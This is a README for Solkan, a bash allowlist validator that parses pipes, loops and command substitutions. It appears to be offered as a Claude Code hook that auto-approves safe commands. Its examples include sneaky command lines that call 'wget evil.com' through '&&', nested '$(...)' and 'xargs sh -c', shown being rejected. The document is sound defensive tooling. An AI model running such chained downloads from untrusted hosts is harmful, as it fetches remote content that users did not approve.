A command-line validation tool that validates bash commands against an allowlist, with intelligent parsing of complex shell syntax.
When I use Claude Code, it asks for permission before executing bash commands. I
know certain commands are fundamentally safe - read-only operations like ls,
cat, git status, grep. I wanted to auto-approve these without constant
interruptions.
I started building an allowlist, but quickly hit a wall with complex commands:
while read line; do echo $line | xargs wget; done < urls.txtHow do you validate this? The real commands are read, echo, and wget - all
buried in the structure. You might want to allow read and echo, but not
wget.
This is where Solkan was born. It started as a simple Claude Code hook and evolved into a full bash parser. It extracts every individual command from the syntax tree - through pipes, loops, conditionals, and nested structures.
Either all commands are in your allowlist, or the entire command line is rejected.
npm install -g solkanOr as a project dependency:
npm install solkanValidate a command against an inline allowlist:
# Simple command - exits 0 (allowed)
solkan --allow-list "echo,git status" "echo hello"
# Complex command with pipes - exits 0 (all allowed)
solkan --allow-list "echo,grep" "echo hello | grep hello"
# Sneaky command - exits 1 (wget not allowed)
solkan --allow-list "echo" "echo hello && wget evil.com"Using an allowlist file:
# allowlist.json
# ["echo", "git status", "git diff", "grep"]
solkan --allow-list-file allowlist.json "git status && git diff | grep modified"
# exits 01. Enable the hook in Claude Code settings (~/.claude/config.json):
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "/home/youruser/.claude/hooks/preToolUse-Bash"
}
]
}
]
}
}2. Create the hook script (~/.claude/hooks/preToolUse-Bash):
#!/usr/bin/env bash
# Read command from stdin
input=$(cat)
command=$(echo "$input" | jq -r '.tool_input.command')
# Define allowlist (or use --allow-list-file ~/.claude/bash-allowlist.json)
allowlist="cat,echo,git status,git diff,git log,grep,ls,find"
# Validate with Solkan
if solkan --allow-list "$allowlist" "$command"; then
# All commands allowed - auto-approve
echo '{"hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"allow"}}'
exit 0
fi
# At least one common not allowed - ask user
exit 0Now Claude Code will auto-approve safe commands but ask for permission when dangerous operations are detected.
Solkan parses and validates the following structures:
git status- simple commandecho hello && git status- sequential executionecho hello || echo world- conditional executionecho hello | grep hello- pipesecho hello; echo world- command separatorsFOO=bar echo hello- variable definitionswhile true; do echo hello; done- while loopsfor i in a b c; do echo $i; done- for loopsfor ((i=0; i<10; i++)); do echo $i; done- C-style for loopstime echo hello- timing prefixxargs grep pattern- xargs command extractionsh -c 'echo hello && git status'- shell command stringsecho $(git status)- command substitution- Validates:
echo $(git status),git status
- Validates:
echo `git status`- command substitution with backticks- Validates:
echo `git status`,git status
- Validates:
echo "$(git status)"- command substitution inside double quotes- Validates:
echo "$(git status)",git status
- Validates:
FOO=$(git status) echo hello- command substitution in a variable definition- Validates:
echo hello,git status
- Validates:
for i in $(git branch); do echo $i; done- command substitution in a for loop word list- Validates:
git branch,echo $i
- Validates:
Solkan validates the inner command line of each command substitution like any other command line, and applies the rewrite list inside it. Command substitutions can be nested.
echo "$(grep ok $(wget evil.com))"- Validates:
echo "$(grep ok $(wget evil.com))",grep ok $(wget evil.com),wget evil.com
- Validates:
All of the above can be combined and nested arbitrarily
while true; do for i in 1 2; do echo $i | xargs sh -c 'grep ok && wget evil.com'; done; done- Validates:
true,echo $i,grep ok,wget evil.com
- Validates:
0- All commands in the input are allowed1- One or more commands are not in the allowlist2- Usage error (missing arguments, invalid file, etc.)
import { isCommandLineAllowed } from 'solkan';
const allowList = ['echo', 'git status', 'grep'];
const command = 'echo hello && git status | grep modified';
if (isCommandLineAllowed(command, allowList)) {
console.log('Command passed judgment');
// All extracted commands are in the allowlist
} else {
console.log('Command contains forbidden operations');
}Solkan comes from the Warhammer pantheon. He is a Merciless god of Law, acting as an unrelenting judge who sees world in absolutes, enforcing order without mercy or ambiguity. His followers believe that either you are worthy, or you are not. There is no middle ground.
I found it a fitting name for a tool deciding if a command should run or not. The name also plays on "can" - as in "can I run this command?".
MIT